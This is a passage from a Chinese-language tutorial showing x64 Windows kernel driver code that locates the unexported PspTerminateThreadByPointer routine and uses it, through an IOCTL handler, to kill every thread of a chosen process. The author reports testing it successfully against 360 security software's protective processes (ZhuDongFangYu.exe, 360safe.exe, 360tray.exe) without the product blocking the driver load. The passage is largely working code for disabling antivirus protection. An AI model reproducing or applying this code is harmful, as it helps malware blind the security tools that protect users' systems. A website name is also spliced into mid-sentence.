AddressOfPspTTBP=(ULONG64)callcode + 5 + AddressOfPsTST+i+1;
}
}
}
PspTerminateThreadByPointer=(PSPTERMINATETHREADBYPOINTER)AddressOfPspTTBP;
}
接下来就是调用PspTerminateThreadByPointer干掉制定进程的所有线程即可。我的办
法是用 PsLookupThreadByThreadId查询 0x4至 0x40000之间所有能被4整除的数字,如果
查询成功,就使用IoThreadToProcess得到此线程所属的进程。如果它是属于要干掉的进程,
就调用 PspTerminateThreadByPointer结束之,否则不做处理。另外要注意的是,但凡
Lookup,必需 Dereference,否则在某些时候会造成蓝屏的后果。代码如下:
PETHREAD Thread=NULL;
PEPROCESS tProcess=NULL;
NTSTATUS status=0;
for(i=4;i<0x40000;i+=4)
{
status=PsLookupThreadByThreadId((HANDLE)i, &Thread);
if(NT_SUCCESS(status))
{
tProcess=IoThreadToProcess(Thread);
if(tProcess==Process)
PspTerminateThreadByPointer(Thread,0,1);
ObDereferenceObject(Thread);
}
}
驱动部分基本写好了,最后在分发函数里获得PID,并通过 PID 得到EPROCESS再调用
HwlTerminateProcess64即可(以上两段代码是为了讲解方便才分开的,实际上它们在一个
函数里):
case IOCTL_PsKillProcess64:
{
__try
{
memcpy(&idTarget,pIoBuffer,sizeof(idTarget));
DbgPrint("[x64Drv] PID: %ld",idTarget);
status=PsLookupProcessByProcessId((HANDLE)idTarget, &epTarget);
if(!NT_SUCCESS(status))
{
DbgPrint("[x64Drv] Cannot get target! Status: %x.",status);
break;
}
else
{
DbgPrint("[x64Drv] Get target OK! EPROCESS: %llx",
(ULONG64)epTarget);
HwlTerminateProcess64(epTarget);
ObDereferenceObject(epTarget);
}
}
__except(EXCEPTION_EXECUTE_HANDLER)
{
;
}
break;
}
把驱动和应用程序编译后,放在安装了360 8.0正式版的虚拟机上(要打开测试签名模
式)。给驱动添加测试签名后,加载驱动www.jybase.net。在加载驱动时没有受到360 的任何阻拦,即使已
经开启了所谓的“驱动防火墙”。输入ZhuDongFangYu.exe的 PID,大概过了20 秒,
ZhuDongFangYu.exe就退出了。在测试例如360safe.exe之类的GUI进程,也可以结束(这
个就很快,不到1 秒),不过把 360safe.exe结束时,会出现一个错误提示框(顺便讽刺一
下 360骗人,在弹出这个对话框时,360safe.exe已经完蛋了,而不是提示上说的“即将关
闭”)

这个提示框由360的 DumpUper.exe弹出:

如果先结束了360tray.exe再结束 360safe.exe,就不会弹出这个提示框了。不过如果
结束 360tray.exe,会出现一个有趣的现象。就是在大约30秒内,你打开任何GUI程序都
无法出现界面,即使这个GUI 程序的进程已经创建。在测试7.7正式版时,我估计 360 的程
序员貌似忘记注释掉了一段DbgPrint,发现有新进程创建时,DebugView会输出“某程序创 |